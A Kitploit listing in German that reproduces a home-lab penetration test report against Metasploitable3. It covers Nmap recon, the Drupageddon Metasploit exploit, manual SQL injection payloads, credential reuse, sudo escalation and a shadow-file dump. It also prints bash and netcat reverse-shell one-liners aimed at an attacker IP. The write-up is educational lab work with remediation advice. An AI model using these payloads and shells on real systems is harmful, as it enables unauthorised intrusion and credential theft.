Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
metasploitable3-pentest-writeup — Home-Lab-Penetrationstest-Bericht zu Metasploitable3 mit Nmap-Recon, Drupalgeddon RCE, SQL-Injection, SSH-Credential-Reuse, sudo-Privilegieneskalation und Reverse Shells. | Kitploit
Tools/GitHubGitHub/adfortunato/metasploitable3-pentest-writeup
Privilege EscalationAufklärungPasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationCTFPenetrationstests

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Lernen & Bildung
Labs & Praxis
GitHubadfortunato/metasploitable3-pentest-writeup

metasploitable3-pentest-writeup

Home-Lab-Penetrationstest-Bericht zu Metasploitable3 mit Nmap-Recon, Drupalgeddon RCE, SQL-Injection, SSH-Credential-Reuse, sudo-Privilegieneskalation und Reverse Shells.

Repository anzeigen
1vor 19h 15mNoch nicht geprüft

Metasploitable3 — Penetrationstest-Bericht

Autor: Arlen Fortunato
Datum: September 2026
Umgebung: Parrot OS (Angreifer) → Metasploitable3 Ubuntu 14.04 (Ziel)
Umfang: Vollständiger Netzwerk-Penetrationstest — Enumeration, Ausnutzung, Rechteausweitung, Post-Exploitation
Typ: Heimlabor / Capture The Flag-Übung

⚠️ Alle untenstehenden Anmeldedaten sind geschwärzt. Dies war eine legale, isolierte Heimlabor-Übung.


Verwendete Tools

ToolRolle
NmapPortscan, Dienst-/Versionserkennung, OS-Fingerprinting
Metasploit (msfconsole)Ausnutzung (CVE-2014-3704), Sitzungsverwaltung
msfvenomPayload-Generierung (bash/netcat Reverse Shells)
nc (netcat)Reverse-Shell-Listener
curl / sedManuelles SQLi-Erstellen + HTML-Ausgabeformatierung
ssh / scpRemote-Zugriff, Validierung von Anmeldedaten
openssl s_clientTLS/SSL-Dienstverifikation
gobusterVerzeichnis-Brute-Forcing (Web-Enumeration)

Aufklärung — Nmap Vollständiger Portscan

root@kitploit:~
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

Betriebssystem: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64


Zusammenfassung der Befunde


Details zu den Befunden

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — Falsch positiv

Schwachstelle: UnrealIRCd 3.2.8.1 wurde historisch mit einer trojanisierten Binärdatei verbreitet, die beliebige Befehle ausführt, wenn ein nicht authentifizierter Client vor der Registrierung eine Trigger-Zeichenkette sendet — RCE als der IRC-Daemon-Benutzer.

Ausnutzungsversuch: Metasploit-Modul exploit/unix/irc/unreal_ircd_3281_backdoor mit Payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. Der Modul-Autocheck meldete den Dienst als anfällig; keine Sitzung zurückgegeben bei keinem Payload.

Durchgeführte Fehlerbehebung:

  • Port erreichbar (nc -vz)
  • Port als Klartext-IRC bestätigt, nicht TLS (openssl s_client)
  • Manueller Reverse-Connect-Back vom Ziel bestätigte, dass ausgehende Netzwerkverbindungen funktionieren
  • Manueller Backdoor-Trigger über nc gab IRC-Protokollfehler 451 zurück — Befehl wurde als IRC-Befehl geparst, nie ausgeführt

Schlussfolgerung: Versionsbanner deutet auf den anfälligen Build hin, aber die Backdoor fehlt in dieser Instanz (saubere/neu kompilierte Binärdatei). Eingestuft als nicht ausnutzbar — falsch positiv, mit Nachweisen.


2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

Schwachstelle: Drupal 7.x vor 7.32 enthält eine kritische SQL-Injection in der Datenbankabstraktionsschicht, die nicht authentifizierte Remote-Code-Ausführung ermöglicht.

Versionsbestätigung: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

Ausnutzung:

root@kitploit:~
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

Ergebnis:

root@kitploit:~
getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

Post-Exploitation-Enumeration:

  • /var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin/
  • /home: 16 Benutzerkonten

3. Payroll-App — UNION-basierte SQL-Injection (manuell)

Schwachstelle: payroll_app.php Login-Formular, SQL-Injection im Passwortfeld. Keine Automatisierung verwendet — über curl erstellt.

Schritt 1 — Umgehung der Authentifizierung:

root@kitploit:~
' or 1=1#

' schließt den SQL-String, or 1=1 erzwingt wahr, # kommentiert das abschließende Anführungszeichen aus.

Schritt 2 — Spaltenanzahl + Anzeige-Zuordnung:

root@kitploit:~
' UNION SELECT null, null, null, null#     -- kein Fehler = 4 Spalten
' UNION SELECT 1, 2, 3, 4#                 -- Marker: 1=Username, 2=First, 3=Last, 4=Salary

Schritt 3 — information_schema-Enumeration:

FrageAntwort
DB-Version / BenutzerMySQL 5.5.62, root@localhost

Schritt 4 — Dump (Passwörter geschwärzt):

root@kitploit:~
' UNION SELECT username, password, salary, null FROM users#

4. SSH — Standard-Anmeldedaten & Wiederverwendung von Anmeldedaten

Weg 1 — Standardkonto: Standard-Anmeldedatenpaar vagrant authentifizierte sich über SSH → Benutzer in der sudo-Gruppe mit (ALL : ALL) NOPASSWD: ALL.

Weg 2 — Wiederverwendung von Anmeldedaten: Aus dem SQLi-Dump gesammelte Anmeldedaten authentifizierten sich direkt über SSH als ein anderer Laborbenutzer (luke_skywalker, sudo-Gruppe, (ALL : ALL) ALL).

Bedeutung: demonstriert dienstübergreifende Wiederverwendung von Anmeldedaten — Anwendungs-Anmeldedaten wurden auf ein Systemkonto abgebildet.


5. Rechteausweitung (zwei Wege)

  • Weg A: vagrant → sudo -l zeigt NOPASSWD: ALL → sudo su - → uid=0(root).
  • Weg B: luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).

Kein lokaler Exploit erforderlich — beide Konten besitzen übermäßig permissive sudo-Berechtigungen.


6. Shadow-Dump

root@kitploit:~
sudo cat /etc/shadow

16 md5crypt ($1$)-Hashes extrahiert — vollständige Sammlung von Anmeldedaten nach der Rechteausweitung.


7. Post-Exploitation — Reverse Shells

Payload 1 — bash:

root@kitploit:~
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

Abgefangen auf nc -lnvp 4444 → interaktive Shell.

Payload 2 — netcat (Named-Pipe):

root@kitploit:~
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

Abgefangen auf nc -lnvp 4445 → interaktive Shell.

Mechanismus: Named Pipe (FIFO) überbrückt netcat stdin/stdout mit /bin/sh und bildet einen bidirektionalen Tunnel über einen einzigen Socket; FIFO wird danach bereinigt.


Empfehlungen zur Behebung


Haftungsausschluss

Alle Tests wurden ausschließlich in einem isolierten Heimlabor mit absichtlich anfälliger Software (Rapid7 Metasploitable3) durchgeführt. Es wurden keine Produktionssysteme oder nicht autorisierten Ziele angegriffen. Dieser Bericht dient ausschließlich Bildungszwecken und der persönlichen Kompetenzentwicklung.

Tool herunterladen
PortStatusDienstVersion
21/tcpoffenFTPProFTPD 1.3.5
22/tcpoffenSSHOpenSSH 6.6.1p1
80/tcpoffenHTTPApache httpd 2.4.7 (Ubuntu)
445/tcpoffenSMBSamba smbd 3.X–4.X
631/tcpoffenIPPCUPS 1.7
3306/tcpoffenMySQLMySQL (unautorisiert)
3500/tcpoffenHTTPWEBrick httpd 1.3.1 (Ruby 2.3.8)
6697/tcpoffenIRCUnrealIRCd
8080/tcpoffenHTTPJetty 8.1.7.v20120910
#SchwachstelleCVE / TypPortSchweregradErgebnis
1UnrealIRCd Versions-Fingerprint — Backdoor-SondeCVE-2010-20756697⚠️ Falsch positivModul-Autocheck bestanden, manuelle Sonde fehlgeschlagen — Backdoor im Build nicht vorhanden
2Drupal 7.5 — Drupageddon RCECVE-2014-370480🔴 KritischMeterpreter-Shell als www-data
3Payroll-App — UNION SQLi (manuell)Manuelle Injection80🔴 KritischVollständiger DB-Dump (15 Benutzer, Klartext-Passwörter — geschwärzt)
4SSH — Standard- + wiederverwendete AnmeldedatenStandard / Wiederverwendung von Anmeldedaten22🔴 Kritischvagrant (NOPASSWD sudo), luke_skywalker (sudo ALL)
5Rechteausweitung (zwei Wege)Fehlkonfiguriertes sudoN/A🔴 Kritischroot über beide Konten
6Shadow-DumpPost-ExploitationN/A🔴 Kritisch16 md5crypt-Hashes extrahiert
7Reverse Shells (bash + netcat)msfvenom / manuelles Erstellen4444/4445🟠 HochInteraktive Shells am Angreifer-Listener abgefangen
Datenbankeninformation_schema, drupal, mysql, payroll, performance_schema
Tabellen in payrollusers
Spalten in usersusername, first_name, last_name, password, salary
BenutzernamePasswortGehalt
leia_organa[REDACTED]9560
luke_skywalker[REDACTED]1080
han_solo[REDACTED]1200
artoo_detoo[REDACTED]22222
boba_fett[REDACTED]20000
greedo[REDACTED]50000
(+ 9 weitere Konten)[REDACTED]—
BefundEmpfehlung
UnrealIRCd Versions-FingerprintIntegrität der Binärquellen überprüfen (Checksummen); aktualisieren oder entfernen
Drupal 7.5Auf neueste stabile Version aktualisieren; SA-CORE-2014-005 anwenden
Payroll SQLiParametrisierte Abfragen / Prepared Statements; Eingaben validieren
Standard-SSH-AnmeldedatenStandardkonten rotieren/entfernen; schlüsselbasierte Authentifizierung erzwingen
Sudo-ÜberprivilegierungPrinzip der minimalen Rechte anwenden; pauschale NOPASSWD-Gewährungen entfernen
Wiederverwendung von AnmeldedatenEindeutige Passwörter pro Dienst erzwingen; Passwortrichtlinie
Schwache Passwort-HashingMigration von md5crypt → bcrypt / Argon2id